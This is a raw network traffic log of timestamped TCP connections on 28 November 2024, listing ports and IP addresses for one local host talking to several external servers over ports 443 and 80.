Nov 28, 2024 15:17:37.643332958 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.798261881 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.800848961 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.800883055 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.887141943 CET	49817	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.887902975 CET	49820	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.888003111 CET	443	49820	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.888087034 CET	49820	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.888875008 CET	49798	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:37.888974905 CET	443	49798	94.245.104.56	192.168.2.6
Nov 28, 2024 15:17:37.889008045 CET	49818	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.889126062 CET	49798	443	192.168.2.6	94.245.104.56
Nov 28, 2024 15:17:37.889271021 CET	49812	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:37.901524067 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:37.901563883 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:37.901649952 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:37.901865005 CET	49822	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.901901960 CET	443	49822	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.902004957 CET	49822	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.903017044 CET	49820	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.903039932 CET	443	49820	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.903101921 CET	49819	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:37.903341055 CET	49826	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:37.903351068 CET	443	49826	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:37.903548956 CET	49826	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:37.903711081 CET	49826	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:37.903724909 CET	443	49826	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:37.904328108 CET	49822	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.904355049 CET	443	49822	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.904874086 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:37.904885054 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:37.931334019 CET	443	49817	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.931368113 CET	443	49812	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:37.931375980 CET	443	49818	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.947330952 CET	443	49819	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:37.949402094 CET	49827	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.949431896 CET	443	49827	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.949538946 CET	49827	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.949829102 CET	49827	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:37.949845076 CET	443	49827	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:37.957377911 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.960530996 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:37.960598946 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:37.960635900 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.016506910 CET	49828	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:38.016540051 CET	443	49828	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:38.016635895 CET	49828	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:38.018126011 CET	49828	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:38.018137932 CET	443	49828	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:38.045134068 CET	49829	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:38.045162916 CET	443	49829	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:38.045293093 CET	49829	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:38.045979977 CET	49829	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:38.045991898 CET	443	49829	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:38.069556952 CET	443	49812	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:38.069684982 CET	49812	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:38.069690943 CET	443	49812	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:38.069737911 CET	49812	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:38.089891911 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.089934111 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.096951008 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.096963882 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.099905014 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.099916935 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.158715963 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.161441088 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.161477089 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.172750950 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.172969103 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.173432112 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.177109003 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.177144051 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.177162886 CET	49800	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.177170992 CET	443	49800	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.179862022 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.179877043 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.202879906 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:38.230724096 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:38.230747938 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:38.239990950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:38.240281105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:38.358943939 CET	49836	443	192.168.2.6	18.165.220.110
Nov 28, 2024 15:17:38.358968019 CET	443	49836	18.165.220.110	192.168.2.6
Nov 28, 2024 15:17:38.359178066 CET	49836	443	192.168.2.6	18.165.220.110
Nov 28, 2024 15:17:38.360279083 CET	49836	443	192.168.2.6	18.165.220.110
Nov 28, 2024 15:17:38.360291958 CET	443	49836	18.165.220.110	192.168.2.6
Nov 28, 2024 15:17:38.413976908 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.417550087 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.417582035 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.503012896 CET	443	49817	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:38.503119946 CET	49817	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:38.503129005 CET	443	49817	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:38.503326893 CET	49817	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:38.542143106 CET	443	49818	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:38.542228937 CET	49818	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:38.560348988 CET	443	49819	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:38.560478926 CET	443	49819	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:38.560477018 CET	49819	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:38.560586929 CET	49819	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:38.578510046 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.598875046 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:38.598901033 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:38.598922968 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:38.598980904 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:38.599004030 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:38.599016905 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:38.606285095 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:38.606347084 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:38.615288973 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.615345001 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.615359068 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.618328094 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.618338108 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.621356010 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.622251987 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.622277021 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.623159885 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.667321920 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.769143105 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:38.769165039 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:38.769176960 CET	49786	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:38.769182920 CET	443	49786	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:38.779747009 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.784863949 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.784907103 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.791609049 CET	49842	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:38.791644096 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:38.791743040 CET	49842	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:38.791901112 CET	49842	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:38.791915894 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:38.834871054 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:38.954740047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:38.980731010 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:38.983890057 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:38.983918905 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.010622025 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:39.010668039 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:39.010746956 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:39.011074066 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:39.011089087 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:39.063400030 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.113684893 CET	443	49820	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.113734007 CET	443	49826	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.114036083 CET	49820	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.114085913 CET	443	49820	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.114195108 CET	49826	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.114211082 CET	443	49826	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.115096092 CET	443	49820	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.115165949 CET	49820	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.115199089 CET	443	49826	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.115292072 CET	49826	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.116528034 CET	49820	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.116609097 CET	443	49820	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.116890907 CET	49826	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.116962910 CET	443	49826	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.117079020 CET	49820	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.117101908 CET	443	49820	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.117265940 CET	49826	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.117283106 CET	443	49826	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.125206947 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.125272989 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.131289959 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.131364107 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.131401062 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.131433010 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.157712936 CET	443	49827	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.158221006 CET	49827	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.158255100 CET	443	49827	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.159301996 CET	443	49827	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.159369946 CET	49827	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.159730911 CET	49827	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.159811974 CET	443	49827	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.159884930 CET	49827	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.159893990 CET	443	49827	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.160651922 CET	443	49822	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.161051035 CET	49822	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.161084890 CET	443	49822	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.162090063 CET	443	49822	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.162163019 CET	49822	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.163347960 CET	49822	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.163413048 CET	443	49822	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.163532019 CET	49822	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.180335045 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.182887077 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.182914019 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.207356930 CET	443	49822	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.232669115 CET	49820	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.232728004 CET	49822	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.232728004 CET	49826	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.232745886 CET	443	49822	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.264529943 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.269445896 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.269531965 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.280276060 CET	443	49828	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.290674925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.290704012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.290718079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.290755033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.290772915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.290788889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.290788889 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.290802956 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.290815115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.290817976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.290833950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.290846109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.290860891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.290890932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.290952921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.290997028 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.291702032 CET	49828	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.291719913 CET	443	49828	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.292922974 CET	443	49828	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.292990923 CET	49828	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.294778109 CET	49828	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.294893026 CET	443	49828	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.295030117 CET	49828	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.295037985 CET	443	49828	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.300199032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.300214052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.300266981 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.305545092 CET	443	49829	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.305835009 CET	49829	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.305854082 CET	443	49829	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.306627035 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.306680918 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.307198048 CET	443	49829	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.307266951 CET	49829	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.307692051 CET	49829	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.307756901 CET	443	49829	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.307857990 CET	49829	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.307864904 CET	443	49829	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.309385061 CET	49827	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.339708090 CET	49822	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.401853085 CET	49845	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.401947975 CET	443	49845	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.402038097 CET	49845	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.402225018 CET	49845	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.402255058 CET	443	49845	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.415992975 CET	49828	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.437570095 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.440252066 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.440329075 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.462239981 CET	49846	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.462285042 CET	443	49846	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.462414026 CET	49846	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.462645054 CET	49846	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.462661028 CET	443	49846	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.472887039 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.475481033 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.475559950 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.477566004 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.477637053 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.477768898 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.477993965 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.478027105 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.478323936 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:39.490493059 CET	49829	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.490986109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.491039991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.491080046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.491113901 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.494970083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.495026112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.495073080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.495170116 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.502994061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.503048897 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.503107071 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.503165960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.510966063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.511022091 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.511183977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.511234045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.518961906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.519018888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.519068003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.519109964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.523343086 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.526927948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.526981115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.527067900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.527111053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.534913063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.534961939 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.535008907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.535125017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.542939901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.542995930 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.543076038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.543257952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.549359083 CET	443	49820	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.549436092 CET	443	49820	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.549499035 CET	49820	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.549683094 CET	49820	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.549717903 CET	443	49820	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.550101995 CET	443	49826	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.550168991 CET	443	49826	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.550239086 CET	49826	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.550331116 CET	49826	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:39.550347090 CET	443	49826	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:39.551001072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.551069975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.551096916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.551140070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.558903933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.559012890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.559067011 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.566931009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.566987991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.567063093 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.567231894 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.574800968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:39.574857950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:39.595488071 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:39.595858097 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:39.595870972 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:39.596417904 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:39.596436977 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:39.596481085 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:39.596488953 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:39.596545935 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:39.596545935 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:39.596669912 CET	443	49827	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.596724987 CET	443	49827	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.596796036 CET	49827	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.597131968 CET	49827	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.597146988 CET	443	49827	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.597445965 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:39.600302935 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:39.600408077 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:39.600476980 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:39.607790947 CET	443	49822	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.607852936 CET	443	49822	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.607945919 CET	49822	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.608964920 CET	49822	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:39.609004974 CET	443	49822	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:39.643335104 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:39.675231934 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:39.678103924 CET	49779	443	192.168.2.6	13.107.246.63
